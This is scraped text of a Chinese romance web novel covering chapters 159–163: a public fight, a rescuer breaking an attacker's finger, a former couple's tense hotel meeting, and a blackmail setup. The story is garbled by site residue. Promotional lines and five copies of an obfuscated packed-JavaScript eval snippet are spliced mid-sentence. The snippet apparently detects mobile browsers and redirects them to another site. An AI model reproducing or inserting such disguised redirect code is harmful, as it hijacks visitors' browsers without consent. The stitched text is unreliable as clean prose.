明嫣在一旁冷眼旁观。 秦婉说得倒是没错。 霍寒山以前的确没怎么对秦婉发过火。 甚至连一句重话都没跟她说过。 如今名正言顺了,倒是换了另外一副模样。 还真是讽刺…… “好了,别闹了,我们回去再说。”霍寒山眉头紧皱地拉着秦婉就要走。 偏偏秦婉不依不饶,她一把甩开他的手,“霍寒山你说你可不可笑?到现在还没死心吗?明嫣她方才骂你是垃圾!你倒好,把人当成白月光了!” 白月光? 明嫣微微一怔,随即哑然失笑。 这真是她听过最讽刺的笑话了。 成全他和青梅,她反倒成了白月光? 这世上还有比这更荒唐的事情吗? 第159章 他碰你了?(加更) “你闭嘴!”霍寒山额角青筋暴起几乎咬牙切齿。 “我说错了吗?!”秦婉声音尖利彻底失了理智指着明嫣的鼻子“霍寒山她眼里根本就没有你!只有你这种蠢货才会把她当个宝!她就是个贱……” “啪!” 一声清脆的耳光声打断了秦婉未完的污言秽语。 不是明嫣动的手而是霍寒山。 他脸色铁青胸口剧烈起伏眼神阴鸷地瞪着秦婉“我让你闭嘴听不见吗?” 秦婉被打得偏过头去脸颊上迅速浮起清晰的五指红痕。 她捂着脸难以置信地看向霍寒山眼圈瞬间红了泪水盈满眼眶 “你敢打我?!霍寒山你为了这个**打我?!” 她声音扭曲猛地转头将所有怒火倾泻在明嫣身上“都是因为你!你这个蛊惑人心的扫把星!” 话音未落秦婉像是疯了一样扬手就朝着明嫣的脸狠狠抓去! 事情发生得太快明嫣下意识地后退想躲脚跟却绊了一下身形微滞。 “嘶——” 明嫣只觉得颈侧一凉随即传来一阵火辣辣的刺痛。 秦婉的指甲终究还是划到了她在她白皙细腻的颈侧肌肤上留下了两道明显的红痕其中一道甚至微微渗出血丝。 明嫣抬手摸向颈侧指尖触到那一点湿濡和刺痛心头的火气也“噌”地一下窜了起来。 她从不主动惹事但也绝不容忍被人如此欺辱到头上! 不等秦婉再次撒泼明嫣上前一步扬手—— “啪!” 一记响亮的耳光狠狠扇在了秦婉另一边完好的脸颊上。 力道之大让明嫣自己的手心都阵阵发麻。 她甩了甩手眼神冰冷地看着被打懵的秦婉声音清晰而掷地有声:“这一巴掌是教你好好说话!” 秦婉两边脸颊都肿了起来对称的红痕让她看起来滑稽又狼狈。 她呆愣了两秒随即爆发出更加尖厉的哭嚎和咒骂:“明嫣!你敢打我?!我跟你拼了!你这个**!**!专门勾引别人男人的烂货!你以为傅修沉真看得上你?他不过是玩玩你!等他玩腻了你就是双没人要的破鞋!” 污言秽语如同污水般泼洒而出不堪入耳。 明嫣气得浑身发抖血液往头顶涌。 她攥紧拳头指甲深深掐进掌心想要冲上去让秦婉闭嘴。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 就在这时,霍寒山却再次拦在了她面前。 他眉头紧锁,伸手想去拉明嫣的胳膊,声音压得很低:“明嫣!够了!别闹了!这么多人看着,像什么样子!你赶紧先离开这里!” “我闹?” 明嫣猛地甩开他的手,像是碰了什么脏东西,眼底满是难以置信的讥诮,“霍寒山,你眼睛瞎了吗?是她先动的手!是她在这里满嘴喷粪!” “我知道是她不对!” 霍寒山语气加重,带着焦头烂额的疲惫,“但她现在情绪不稳定,你跟她计较什么?算我求你,你先走,行不行?有什么事以后再说!” 他说着,竟再次伸手,试图将明嫣推开。 就在他的手指即将碰到明嫣肩头的刹那—— “砰!” 一道身影携着凌厉的风声,一脚狠狠踹在霍寒山的腰侧! 霍寒山甚至没看清来人,只觉一股巨力传来,五脏六腑仿佛都移了位,剧痛瞬间席卷全身。 他闷哼一声,整个人如同断线的风筝,不受控制地向后踉跄飞跌出去,重重摔在几米开外的冰冷地面上,溅起些许尘土。 他蜷缩着身体,痛苦地呻吟,一时竟无法起身。 这突如其来的变故让所有人都惊呆了。 秦婉的咒骂声戛然而止,惊恐地瞪大了眼睛。 围观人群发出一阵低低的惊呼,下意识地后退了一步。 明嫣也愣住了,循着那劲风来的方向望去。 只见傅修沉不知何时出现在那里。 他穿着一身剪裁精良的黑色长大衣,身姿挺拔如松,逆着光,面容轮廓显得有些模糊,但周身散发出的那股冷冽骇人的戾气,却如同实质般扩散开来,让周围的空气都瞬间降到了冰点。 他看也没看地上痛苦蜷缩的霍寒山,第一时间就精准地锁定了明嫣,目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777654|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 审视的上下打量着她…… 当视线触及她颈侧那两道突兀的红痕时,他眼底的墨色骤然翻涌,如同暴风雨前凝聚的乌云,浓稠得化不开。 他抬起她的下巴,指尖微凉,仔细查看她颈侧的伤口。 “他碰你了?”傅修沉的声音低沉沙哑,带着一种压抑到极致的危险气息,每个字都像是从冰碴里碾过。 明嫣下意识地摇了摇头,“没有,是秦婉……” 确认她只是皮外伤,傅修沉紧蹙的眉头几不可察地松了一瞬,但周身寒意未减分毫。 他倏地转头,目光如淬了毒的冰刃,直射向霍寒山和他身旁瑟瑟发抖的秦婉。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 傅修沉松开明嫣,迈步朝秦婉走去。 他步子不快,却带着致命的压迫感。 秦婉吓得魂飞魄散,想往霍寒山身后躲,可霍寒山自身难保。 傅修沉在她面前站定,垂眸,冰冷的目光落在她的手上。 “是这只手?”他问,声音平静得可怕。 秦婉惊恐地把手藏到身后,拼命摇头,“不……不是……大哥我错了……” 傅修沉根本没听她求饶,一把攥住她的手腕,强硬地将她从霍寒山身后拽了出来! “啊!”秦婉尖叫挣扎,可她的力气在傅修沉面前如同蜉蝣撼树。 傅修沉手指如铁钳,捏住她其中一根手指,没有丝毫犹豫,猛地反向一折! “咔嚓!” 一声令人牙酸的脆响! “啊——!!!”秦婉发出杀猪般的凄厉惨叫,整张脸瞬间扭曲,痛得几乎晕厥。 那根精心保养、镶嵌着碎钻的指甲,连同指尖,以一个诡异的角度弯折了过去,显然是断了。 傅修沉像是丢垃圾一样甩开她的手,眼神里没有半分波动,只有彻骨的寒意。 “今天,是第一次,也是最后一次。” “下次再让我看见你们对她有半分无礼……”他顿了顿,眼神骤戾,语气平淡无波,却字字千钧,砸得人心惊肉跳: “我把你们剁了喂狗!” 第160章 我在勾引你啊 话音落下,满场死寂。 连空气都仿佛被冻结。 秦婉疼得面无血色,却还是死死捂住嘴,连哭都不敢发出声音。 而傅修沉不再多看她一眼,揽着明嫣转身迈步离开。 人群自动分开一条道路,无人敢阻拦。 直到那辆黑色的宾利慕尚消失在街角,凝固的空气仿佛才重新开始流动。 秦婉腿一软,瘫坐在地上,后知后觉地嚎啕大哭起来,不知是吓的,还是疼的。 霍寒山望着车子消失的方向,脸色灰败,眼底只剩下无尽的**和挫败。 时到今日,他才知道自己比傅修沉到底差了哪里…… …… 宾利车内,暖气开得很足。 明嫣靠在舒适的椅背上,颈侧的刺痛感隐隐传来,让她微微蹙眉。 傅修沉伸手,指尖轻轻碰了碰她颈上的红痕,动作小心翼翼,与他方才那副煞神模样判若两人。 “疼?他问,声音低哑。 明摇了摇头,“还好,只是划了一下。 他眸色沉了沉,没说话,从车载冰箱里取出备用的医药箱,拿出消毒棉签和药膏。 “别动。他命令道,语气却带着柔意。 明嫣顺从地仰起头,乖乖地露出脖颈。 他俯身靠近,清冽的气息将她笼罩。 棉签蘸着冰凉的药水,轻轻擦拭着伤口,带来细微的刺痛,随即又被清凉的药膏覆盖。 他的动作极其专注,仿佛在对待一件稀世珍宝。 明嫣能清晰地看到他低垂的眼睫,长长的,在眼下投下一小片阴影,还有那颗近在咫尺的朱砂痣。 “你怎么会刚好过来? 傅修沉涂抹药膏的动作未停,淡淡道:“打你电话没接,陆奉归说你在这附近见客户。 他顿了顿,抬眸看她一眼,“看来我来得还算及时。 “没什么,我能应付。她摆了摆手,“我刚才狠狠地打了秦婉一耳光呢! 傅修沉微微勾了勾唇,牵过她的手,指尖细细地摩挲着,“对,我老婆最厉害了。 “…… 怎么感觉这句不像是在夸她。 “以后遇见这种事,没必要亲自动手,脏了手…… 他看着她,目光深邃,“我给你安排个贴身保镖吧? 明嫣一脸的哭笑不得,“我一个律师要什么保镖,又不是天天跟人打架。 傅修 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 沉牵住她的手,倒是也没强求,“那这事以后再说。” 他的手掌宽大,能完全包裹住她的手,指腹有细微的薄茧,摩挲着她手背的皮肤。 明嫣“嗯”了一声,反手与他十指相扣。 “对了,前几天和明伯父聊天,听他提起,最近似乎对城东那块新规划的地皮很感兴趣?” 明嫣抬眼看他,有些讶异:“我爸?他跟你聊这个?” 如今的明氏集团还是她父亲明庭峰在掌管,生意上的事,他向来很少跟旁人提起,哪怕是大哥明燃如今在风投行业风头正劲,都嫌少跟他说过这些。 看来他老人家对傅修沉这个未来女婿还算满意…… “嗯,前些天会魔都偶然碰到,聊了几句。” 傅修沉微微皱了皱眉,“那块地前景不错,但竞标方复杂,水很深。跃华之前评估过,风险不小。我提醒过明伯父,投资需谨慎,杠杆不宜过高。” 他转过头,目光沉静地看着明嫣:“不过明伯父似乎很有信心,已经投入了不少前期资金,听说……还动用了一些海外关系融资。” 明嫣微微蹙眉,父亲在商海沉浮多年,自有他的判断,她很少过问。 但傅修沉此刻特意提起,让她心里莫名掠过一丝极淡的不安。 “我爸他应该有分寸的吧?”明嫣抿了抿唇,“那怎么办?要跟我大哥说一声吗?” 傅修沉见她眉头紧皱,不由得轻笑了一声,“好了,别担心,或许是我多虑了。我会让人多留意那边的动向。” 他伸手,将她耳边一缕不听话的发丝别到耳后,动作温柔缱绻,“晚上想吃什么?回家给你做,还是我们出去吃?” 话题被自然地引开。 “出去吃吧。” “嗯,都听老婆大人的。” “……” …… 而与此同时,君悦酒店1808套房。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777655|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厚重的窗帘隔绝了外界的阳光,只留一盏昏黄的壁灯,在奢华的地毯上投下暧昧的光晕。 明燃站在套房客厅中央,身姿挺拔如松,与这旖旎的环境格格不入。 他穿着挺括的黑色大衣,并未脱下,眉宇间凝着化不开的冰霜,眼神锐利地扫过坐在沙发上的女人。 林晚辞只穿着一件真丝吊带睡裙,酒红色的布料衬得她肌肤胜雪,裙摆短得只堪堪遮住大腿根,露出两条白皙笔直的长腿。 她似乎刚沐浴过,潮湿的卷发慵懒地披散在肩头,几缕发丝黏在颈侧,蜿蜒进若隐若现的沟壑 你的朋友正在书荒,快去帮帮他吧 。 见到明燃进来,她红唇勾笑。 她放下交叠的双腿,赤着脚,踩在柔软的地毯上,一步步走向他,步履间带起一阵香风。 “你来了。”她的声音带着刚睡醒般的沙哑,又软又媚,像带着钩子,“我就知道,你会来。” 明燃下颌线绷紧,垂在身侧的手无声地攥成了拳。 他看着她走近,一身的风情万种,心脏像是被一只无形的手狠狠攥住,又酸又痛。 这和他记忆里那个穿着白裙子,笑起来会脸红的女孩,简直判若两人。 林晚辞走到他面前,指尖隔着薄薄的衬衫布料,轻轻戳了戳他紧实的胸口…… 明燃猛地扣住她作乱的手腕,力道大得让她蹙起了秀眉。 “林晚辞!”他几乎是咬牙切齿地喊出她的名字,眼底翻涌着压抑的怒火,“你到底想干什么?” 手腕被攥得生疼,林晚辞却反而笑得更加花枝乱颤,眼波流转间尽是风情。 “看不出来我想干什么吗?”她凑近他,红唇几乎要碰到他的下巴,吐息温热,“明燃……我在勾引你啊。” 明燃像是听到了什么天大的笑话,嘴角扯出一抹冰冷的弧度。 他闭了闭眼,强压下心头翻涌的酸涩和怒意,声音沉哑:“我既然来了,只要你想要什么,只要我能做到,我就会给你。钱?资源?还是帮你摆脱卡佩家的纠缠?你说出来……我帮你。” 他顿了顿,每一个字都像是从喉咙深处艰难地挤出来,“你……不必如此作践自己。” 第161章 我只要你…… “作践?” 林晚辞像是被这个词刺了一下眼底飞快地掠过一丝难以捕捉的挣扎和痛色但仅仅是一瞬便被她用更浓艳的笑意覆盖。 她用力挣开他的钳制柔软的身体反而更紧地贴向他手臂如水蛇般缠上他的脖颈红唇贴近他的耳廓气息灼热。 “我什么都不要。” “明燃……”她微微退开一些直视着他深邃的眼眸一字一句“我只要你。” 说完她踮起脚尖朝着他紧抿的薄唇吻了上去。 那熟悉的馨香气息逼近明燃的心脏在那一刹那几乎停止跳动。 过往无数个亲密拥吻的画面如同潮水般冲击着他的理智。 然而就在她的唇即将碰触到他的前一秒他猛地偏开了头! 林晚辞的吻只堪堪擦过他紧绷的脸颊。 下一秒明燃像是被烫到一般猛地伸手 力道之大让林晚辞踉跄着后退了好几步纤细的脊背重重撞在冰冷的墙壁上发出一声闷响。 “呃……”她痛得闷哼一声脸上的媚笑瞬间僵住转而浮现出一丝狼狈和难以置信。 明燃深吸了一口气扭头死死地盯着她“林晚辞你把我当什么?嗯?” 他的声音嘶哑“你以为这样就能回到过去?还是你觉得我明燃就是个你可以随意**于股掌之间的傻子?!” 墙壁的冰冷透过薄薄的睡裙渗入肌肤林晚辞靠着墙慢慢站直身体。 她抬手慢条斯理地整理了一下有些凌乱的睡裙肩带脸上重新挂上那副无懈可击的妩媚笑容。 “回到过去?呵……”她轻笑出声眼底却是一片荒芜“明燃我们都回不去了。” 她看着他目光像是透过他在看别的什么带着一种洞悉世事的残忍和疲惫“你还爱我吗?” 明燃抿着唇没说话。 林晚辞轻笑一声“爱情是这世上最没用的东西。我现在只相信抓在手里的利益只相信能让那些欺辱践踏我的人付出代价的力量! 她向前一步尽管姿态依旧慵懒眼神却锐利如刀:“你说我想要什么你都会给?好啊我要你帮我拿到卡佩家族那家科技公司的绝对控股权我要让那个老家伙和他那个变态弟弟一无所有!我要你动用明家在欧美的所有关系确保我能打赢这场离婚官司并且让卡佩家族永无翻身之日!” 她每说一句明燃的脸色就白一分。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 这些要求,远比他想象的更加复杂和凶险,涉及的不仅是巨额资金,还有盘根错节的国际势力和灰色地带。 “这就是你嘴里的‘想要我’?” 明燃的声音低哑得几乎听不见,“林晚辞,你知不知道你在说什么?你要走的这条路,稍有不慎,就是万劫不复!” “万劫不复?”林晚辞像是听到了什么好笑的事情,笑得肩膀都在颤抖,眼角却隐隐有泪光闪动,只是那泪光,冰冷得没有任何温度。 “我早就已经在深渊里了,明燃。从我当年被迫嫁去卡佩家开始,从我挨下第一个耳光开始……我就已经不是以前的那个林晚辞了。” 她走到酒柜旁,给自己倒了一杯烈酒,仰头一饮而尽,辛辣的液体滑过喉咙,带来一阵灼痛,却也让她更加清醒和冷酷。 “你就说,帮,还是不帮?” 明燃站在原地,一动不动,像一尊凝固的雕像。 他看着眼前这个熟悉又陌生的女人,看着她眼底的决绝和疯狂,看着她用尖锐的盔甲将自己包裹得密不透风。 他知道,她说的都是真的。 那个他曾深爱过的那个单纯美好的女孩,真的已经死在了五年前。 一股巨大的无力感和心痛席卷了他。 他帮了她,或许是将她推向更危险的境地,或许会将自己和明家也拖入泥潭。 可不帮…… 难道眼睁睁看着她在这条路上撞得头破血流? 他闭了闭眼,再睁开时,眼底只剩下沉沉的疲惫和一种认命般的妥协。 “……好。” 一个字,重若千 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777656|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钧。 林晚辞握着酒杯的手指几不可察地收紧,指节泛白。 她背对着他,所以他没有看到她脸上那一闪而过的复杂情绪,有解脱,有愧疚,或许……还有一丝极淡的,连她自己都未曾察觉的痛楚。 “但是林晚辞,”明燃的声音清冷,“这是最后一次,从此以后,我们两清。你走你的阳关道,我过我的独木桥。” 林晚辞缓缓转过身,脸上依旧是那副妩媚动人的笑容,仿佛刚才那个瞬间的脆弱从未存在过。“成交。” 她举起空酒杯,向他示意,红唇弯起完美的弧度,“明总,合作愉快。” 明燃深深地看了她最后一眼,仿佛要将她此刻的模样刻进灵魂深处。 然后,他猛地转身,没有丝毫留恋地大步离开。 房门被重重关上的声响,在寂静的套房里回荡,久久不散。 林晚辞脸上的笑容,在门关上的瞬间,如同脆弱的琉璃般,寸寸碎裂。 她踉跄着后退几步,跌坐在冰冷的地毯上,手中的酒杯滚落,洇湿了昂贵的地毯。 她将脸深深埋进膝盖,肩膀剧烈地颤抖起来,却没有发出一丝哭声。 只有无声的泪,汹涌而出,浸湿了冰冷的丝绸。 她早已不会爱了。 从放弃明燃,踏上异国飞机的瞬间,从在那个所谓的贵族家族里忍受**和暴力的日日夜夜,她的心就已经**,烂了。 爱情是奢侈品,她早已不配拥有。 如今活着的,只是一个被仇恨和欲望驱动的空壳。 利用明燃,她心痛吗? 或许吧。 但那点微弱的心痛,早已被漫长岁月里积累的绝望和恨意吞噬得所剩无几。 她缓缓抬起头,泪眼朦胧中,看向窗外灰蒙蒙的天空,眼神逐渐变得冰冷而坚定。 这条路,既然选择了,她就只能走下去。 不惜一切代价。 即使…… 最终会伤得所有人,包括她自己。 体无完肤。 第162章 最听你这大嫂的话(加更) 冬日的江南连空气都带着湿冷的黏腻感。 明嫣站在律所巨大的落地窗前望着窗外灰蒙蒙的天空。 几天前她才知道大哥明燃并没有回魔都 ——他动用了自己在海外积累的所有人脉和资源正不惜代价地帮林晚辞对付那个盘根错节的卡佩家族。 电话打过去响了很久才被接起。 背景音是嘈杂的英文对话和键盘敲击声明燃的声音带着显而易见的疲惫。 “大哥你怎么回事儿?不是说不帮她了吗?” 话筒里沉默了好大一会儿“嫣嫣我没法不管她……” 那是他第一次心动喜欢了很多年的女孩当年甚至差点儿谈婚论嫁…… 若不是因为林家当年贪慕虚荣他跟林晚辞早就结婚生子…… 而如今哪怕他已经不喜欢她了可却还是做不到硬起心肠无法袖手旁观。 明嫣抿了抿唇知道事已至此也没跟他再纠结这些转而说起了正事“哥爸最近投资城东那块地听说动用了高杠杆还牵扯海外融资我有点担心……” 明燃闻言开口安慰道“放心这种事爸有分寸不用我们操心。” “可是……” 明燃打断她“行了我这边还有事先挂了改天再聊。” 说着还没等她说话对面已然挂断了电话。 明嫣握着手机皱了皱眉头。 她知道大哥的脾气性格一旦他决定了的事九头牛都拉不回来。 尤其事关林晚辞。 …… 临近过年江南的冬雪消融春意初显。 嫣然律所的发展势头比这天气回暖得更快。 不过短短数月原先略显紧凑的办公区域已不敷使用新招聘的律师助理们甚至在公共区域临时加座。 案卷堆积如山从跨国并购到尖端科技公司的知识产权保护业务范围和质量陡升早已非昔日那个专注于民事**的小律所可比。 明嫣坐在办公室里签完最后一份文件揉了揉有些发酸的手腕。 目光掠过窗外车水马龙的街景一个酝酿了许久的念头再次清晰起来——是时候开设分所了。 第一个跃入脑海的地点毫无悬念是魔都。 那里是她的根明家在那里傅家的根基亦在那里。 更重要的是傅修沉如今正式接管了整个傅氏集团重心不可避免地偏向魔都。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 这几个月,他几乎成了空中飞人,频繁往返于两地,常常是深夜抵达江南,天不亮又要赶最早的航班离开。 她看着他眼下的淡青,虽从未抱怨,但心疼是实实在在的。 若能将分所开在魔都…… 这个念头一旦扎根,便迅速茁壮成长。 她几乎是立刻就开始着手调研、物色地点、初步核算成本。 为了给他一个惊喜,她将这一切瞒得密不透风。 而傅老爷子电话来得恰是时候,“嫣儿啊,什么时候回来看爷爷?厨房新得了些稀罕物,等着你回来尝鲜呢! 听着老人话语里纯粹的欢喜,明嫣心头一暖,顺势应下。 …… 回到魔都,傅修沉亲自来接。 他穿着剪裁完美的深灰色西装,外面随意罩着件黑色羊绒大衣,身姿挺拔,站在熙攘的接机口,依旧是鹤立鸡群的焦点。 见到明嫣,他冷峻的眉眼瞬间柔和,大步上前,极其自然地接过她手中的小行李箱,另一只手已揽上她的腰,将人带入怀中。 “累不累?他低头,鼻尖蹭了蹭她微凉的鼻尖,嗓音低沉含磁。 “不累。明嫣仰头看他,眼底漾着清浅的笑意,带着一丝只有自己知晓的小小雀跃。 回到傅家老宅,正好是中午。 宅子依旧气势恢宏,但氛围却与往日不同。 傅承平事件后,傅老夫人似乎沉寂了许多,不再轻易露面,偌大的宅邸,更显傅老爷子的绝对权威。 午餐果然极尽精致奢华,许多菜品连明嫣都叫不出名字,只知其珍贵稀有。 傅老爷子不断让佣人布菜,看着明嫣,笑得见牙不见眼:“多吃点,瞧你,在江南肯定没吃好,修沉这小子也不会照顾人。 傅修沉坐在一旁,慢条斯理地剥着一只肉质晶莹的虾,闻言挑眉,将剥好的虾肉自然无比地放入明嫣碗中,语气淡淡:“爷爷,您这偏心偏得没边了。 老爷子哼了一声,不理他,又转向明嫣,絮絮叨叨说起家常。 饭毕,移步茶室。 清雅的茶香袅袅升起,驱散了饭食的腻味。 傅老爷子呷了口茶,像是忽然想起什么,脸上露出几分欣慰,又带着点无奈:“说起来,陆凛那小子,最近在傅氏倒是干得不错。 明嫣端着茶杯的手微微一顿,抬眼望去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777657|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哦?是吗?傅修沉神色不变,只指尖在紫砂壶壁上轻轻摩挲。 “是啊,傅老爷子叹了 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 口气,“以前总觉得他吊儿郎当,没个正形,没想到真沉下心来做事情,脑子活络,手段也够硬,几个老家伙都在我面前夸他。就是……” 他顿了顿,语气带了点抱怨,“这性子是越发野了,三天两头不见人影,我都快忘了他长什么样了!” 明嫣想起陆凛那头永远招摇的金发和桀骜的眼神,唇角微弯。 他能安定下来在傅氏做事,确实是好事。 正说着,管家福伯轻手轻脚进来,低声禀报:“老爷子,顾老带着他孙女顾小姐来了,说是来拜访您。” 傅老爷子眼睛一亮,连忙挥手:“快请快请!” 他转头,对着明嫣和傅修沉,压低声音,带着点老小孩般的狡黠:“顾老是我多年老友,他这孙女刚从国外留学回来,知书达理,模样也好。我看跟陆凛那小子正相配!那混球在你手底下干过,最听你这大嫂的话,嫣儿,你帮我个忙,给陆凛发个信息,看看能不能把他诓回来!” 明嫣一时愕然,有些哭笑不得:“爷爷,这……” 傅老爷子眼睛一瞪,故意板起脸:“怎么?我这老头子的话他不听,以往的顶头上司外加未来大嫂的面子,他总得给吧?” 傅修沉在一旁,好整以暇地瞥了明嫣一眼,唇角勾起一抹似笑非笑的弧度,显然乐见其成。 明嫣被老爷子殷切的目光望着,又见傅修沉一副看好戏的模样,无奈之下,只得拿出手机,找到陆凛的号码,编辑了一条信息: 【陆凛,爷爷弄了不少好吃的,你要不要回来尝一尝?】 信息发出去,石沉大海,许久没有回应。 明嫣抿了抿唇——她还不信邪了。 抿着唇又发过去一条…… 【人呢?】 “……” 【喂!】 而此时,傅氏集团总裁办公室隔壁的独立办公室内。 接连两条信息,屏幕亮起,映在一头削薄利落的黑色碎发,陆凛点了根烟,手指轻弹,灰白的烟灰簌簌落在烟灰缸里。 他深吸了一口烟,久久才吐出。 “叮!” 又一条信息亮起—— 陆凛下意识地扫了一眼,瞳孔猛地缩小…… 第163章 窥破最深处的秘密! 屏幕上是一张照片。 抓拍得极好或者说偷拍得极其刁钻。 照片的背景他再熟悉不过——傅家老宅的花园。 照片里的他穿着黑色的风衣金色碎发落在眉骨微微遮住了部分视线眸底却噙着一丝连他自己都未曾察觉的专注与……深情。 那眼神太过赤裸将他所有无法宣之于口的隐秘心思彻底暴露在光天化日之下。 而镜头的焦点 她围着厚厚的围巾只露出小半张侧脸鼻尖冻得微红眼底却是亮晶晶的。 那是前些日子他难得回老宅撞见的一幕。 谁拍的? 什么时候? 他竟毫无察觉! 他猛地攥紧了手机指节因为用力而泛出骇人的青白色手背上血管虬结。 那双总是带着戾气的眼眸此刻阴沉得能滴出水来里面翻涌着惊骇和杀意还有一丝被窥破最深处秘密的恐慌。 他迅速回拨发来照片的陌生号码。 无人接听。 他咬着后槽牙指尖用力到几乎要戳碎屏幕飞快地打字: 【你是谁?想干什么?】 对方沉寂了几秒就在陆凛的耐心即将耗尽时一条新的信息弹了出来。 没有回答他的问题只有一个简洁的地址。 ——城西悠然茶舍。 陆凛的脸色彻底阴沉下来他猛地站起身动作大得带倒了身后的椅子发出一声刺耳的巨响。 他一把抓过桌上的车钥匙甚至来不及穿上搭在椅背上的外套只穿着一件单薄的黑色衬衫便大步流星地冲出了办公室周身散发的低气压让门外正准备汇报工作的助理吓得噤声。 引擎发出暴躁的轰鸣黑色的跑车如同离弦之箭朝着那个地址狂飙而去。 陆凛握着方向盘的手背青筋暴起下颌线绷得像一块冷硬的石头。 那双深邃的眼眸里此刻只剩下冰冷的杀意和焦灼。 无论这是不是陷阱。 他都必须去。 那张照片…… 绝对不能被第三个人看到! 尤其是……大哥和明嫣! 半个小时后跑车停在城西的一家私人茶舍。 这里的环境清幽私密性极好。 陆凛沉着脸按照信息指示推开一扇雅致的包厢门。 包厢内灯光柔和茶香氤氲。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 然而,当他的视线落在茶桌后端坐的那个人身上时,脚步猛地顿住,脸上闪过一丝难以置信的愕然。 坐在那里的,不是别人,正是应该在医院‘静养’,早已淡出众人视线的——傅承平! 他坐在轮椅上,一条腿打着厚厚的石膏,伸得笔直,另一只手也缠着绷带,固定在胸前,脸上还带着未完全消退的青紫痕迹,整个人看起来狼狈又凄惨,唯独那双眼睛,阴鸷、浑浊,却闪烁着如同毒蛇般冰冷算计的光。 他看着僵在门口的陆凛,扯动嘴角,露出一个扭曲而古怪的笑容,声音因伤势而显得嘶哑破碎: “来了?我的好外甥……” …… 而此时的傅家老宅。 冬日的暖阳透过巨大的落地窗,洒在铺着柔软地毯的客厅里。 茶香袅袅,混合着刚出炉的甜点的香甜气息。 明嫣正和一位年轻女孩相谈甚欢。 女孩名叫顾微澜,是顾老的孙女,刚从海外顶尖学府留学归来。 她穿着一身浅杏色的大衣,长发温婉地披在肩头,五官精致得如同精心描绘的工笔画,气质清雅,谈吐不凡,却没有丝毫骄矜之气。 “……所以后来我就想,或许可以尝试用非诉的方式解决那起跨国并购里的文化冲突,结果效果出奇的好。”顾微澜声音柔和,逻辑清晰,说到专业领域时,眼睛亮晶晶的。 明嫣听得频频点头,眼底满是欣赏:“你这个思路很巧妙,跳出了常规的法律框架。我之前处理过一个类似案子,当时走了不少弯路。” 她发现顾微澜不仅专业知识扎实,而且思维敏捷,性格温和又不失主见,两人从国际商法谈到艺术鉴赏,竟意外地投缘。 “是吗?明嫣姐,你之前发表在《法学评论》上那篇关于数据跨境合规的文章,我还仔细研读过,受益匪浅。” 顾微澜浅浅一笑,颊边露出两个小小的梨涡,显得愈发甜美可人。 “你太谦虚了,我那只是些粗浅的看法。”明嫣笑着摆手,亲手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777658|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给她斟了杯茶,“尝尝这个,爷爷珍藏的老君眉,外面可喝不到。” 两个年龄相仿又志趣相投的女孩凑在一起,仿佛有说不完的话,气氛融洽得如同认识了多年的好友。 